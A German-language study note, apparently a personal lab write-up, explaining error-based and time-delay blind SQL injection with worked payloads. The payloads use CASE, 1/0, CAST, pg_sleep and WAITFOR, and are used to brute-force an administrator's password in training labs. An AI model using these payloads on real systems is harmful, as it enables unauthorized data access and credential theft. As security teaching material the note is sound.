Skip to content

5. Error Based SQL Injection

Was ist Error-Based SQL-Injection

Wie der Name schon sagt, anhand von Fehlermeldungen lässt sich diverses Verhalten zwischen App und Datenbank nachvollziehen und ggf. ausnutzen - Man provoziert einen DB-Fehler nur dann, wenn eine getestete Bedingung zutrifft - Man verpackt die Bedingung in eine Ausdrucksform die bei True einen Fehler verursacht(z. B. Division durch Null)

Das könnte man dann wie folgt aufbauen:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
Hier sehen wir das Ergebnis wenn unser Input false istERROR_BASED_SQLI1.pngHier sehen wir das Ergebnis wenn unser Input true istERROR_BASED_SQLI2.png

In diesem Fall benutzen wir den 'CASE' Aufruf - In dem ersten Fall evaluieren wir zu a weil Ergebnis false - In dem zweiten Fall evaluieren wir zu Error weil macht 1/0 und wir können nicht durch 0 teilen

Und dann kann man Anfragen wie folgt bauen:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

Lab: Blind SQL injection with conditional errors(Oracle)

Passwortlänge herausfinden -> Im Intruder dann bruteforcen
TrackingId=EVe4hpFzFe2H0qvD' AND (SELECT CASE WHEN (LENGTH(password) > §20§) THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator') = 'a'--;
Passwort brute-forcen
TrackingId=EVe4hpFzFe2H0qvD' AND (SELECT CASE WHEN (SUBSTR(password, 1, 1) < 'a') THEN TO_CHAR(1/0) ELSE 'a' END FROM users WHERE username='administrator') = 'a'--;

Jetzt setzen wir folgendes PAYLOAD zusammen und bruteforcen jeden einzelnen CharacterERROR_BASED_SQLI3.pngUnser Turbo-Intruder liefert uns folgendes Ergebnis.ERROR_BASED_SQLI4.png

Auslegen von Daten durch Fehlernachrichten

Gelegentlich kann auch die Fehlermeldung sensible Daten aus der tatsächlichen Abfrage enthalten.

Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char

Diese Meldung zeigt die gesamte Abfrage, die die Anwendung aus den Eingaben konstruiert hat. Dadurch lässt sich das Verhalten zwischen App und DB auch nochmal besser begutachten. Das verwandelt die sonst blinde injection in eine visible injection.

Mit der CAST() Funktion können wir Datentypen in einen anderen konvertieren. z. B.

CAST((SELECT example_column FROM example_table) AS int)
Oft sind die zu lesenden Daten Zeichenketten (Strings). Wenn du versuchst, diese in einen inkompatiblen Datentyp wie int zu konvertieren, kann das einen Fehler wie den folgenden erzeugen:

ERROR: invalid input syntax for type integer: "Example data"
Solche Abfragen sind außerdem nützlich, wenn ein Limit der Zeichenlänge verhindert, dass du konditionale Antworten (true/false) auslösen kannst - ein Fehler mit eingebettetem Inhalt kann dann die einzige Möglichkeit zur Datenexfiltration sein.

Lab: Visible error-based SQL injection

  1. Erstmal wieder rumprobieren und schauen wo die App SQL Querys baut.
    1. Wir fügen ' an mehrere Inputs und sehen bei TrackingID kommt ein SQL Query Error. sqli_error_based_injection1.PNG
  2. Wir kommentieren den rest aus aus der Anfrage und sehen kein Fehler mehr -> also wissen wir, dass es anschlägt. sqli_error_based_injection2.PNG
  3. Wir casten zu int und schauen was passiert -> wir sehen, dass es ein boolean Type sein muss, kein Integer. sqli_error_based_injection3.PNG
  4. Wir passen die Anfrage an mit einem 1= um einen boolean daraus zu machen und sehen wieder, kein Fehler. sqli_error_based_injection4.PNG
  5. Nun versuchen wir auf username Tabelle von Users zuzugreifen, aber sehen wieder eine Fehlermeldung -> Syntaxerror weil unser Request abgeschnitten wurde. Vermutung liegt bei Character-Limit. sqli_error_based_injection5.PNG{ width="1000" }
  6. Wir entfernen die TrackingID um den request kürzer zu machen in der Hoffnung wir sind innerhalb des Limits -> Die neue Fehlermeldung sagt, dass zu viele Reihen geliefert werden. sqli_error_based_injection6.PNG
  7. Wir setzen bei der Abfrage ein Limit auf 1 und sehen dann den Admin weil der wahrscheinlich als erstes in der DB angelegt wurde. sqli_error_based_injection7.PNG
  8. Das gleiche wiederholen wir mit der Password Tabelle. sqli_error_based_injection8.PNG

Triggering Time-Delays during exploiting

Wenn die Applikation alle Fehlermeldungen ordnungsgemäß behandelt bekommen wir keine Infos über den Zustand der Datenbank. In diesem Fall könnte man auf Time-Delays triggern während requests.

'; IF (1=2) WAITFOR DELAY '0:0:10'-- 
'; IF (1=1) WAITFOR DELAY '0:0:10'--

davon könnte man dann beispielsweise wie folgt Gebraucht machen

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

Lab: Blind SQL injection with time delays and information retrieval

  1. TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END--
    1. %3B = ;
  2. TrackingId=x'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
    1. Funktioniert. weil Verarbeitung dauert bei Korrektheit länger
  3. Jetzt bauen wir eine neue Anfrage mit
    TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
    
  4. Wir sehen es schlägt an also können wir davon ausgehen, dass es einen User mit dem Namen gibt
  5. Dann fügen wir das selbe für Passwort ein und überprüfen die Länge des Passworts.
    x'%3BSELECT+CASE+WHEN+(username='administrator' AND+LENGTH(password)>1)+THEN+pg_sleep(2)+ELSE+pg_sleep(0)+END+FROM+users--
    
  6. Danach können wir nach dem selben Prinzip jede Stelle des Passworts ablaufen -> BruteForce Script im Turbo Intruder und dann nach Response-Time filtern
    x'%3BSELECT+CASE+WHEN+(username='administrator' AND+SUBSTRING(password,PLACEHOLDER1,1)='PLACEHOLDER2')+THEN+pg_sleep(2)+ELSE+pg_sleep(0)+END+FROM+users--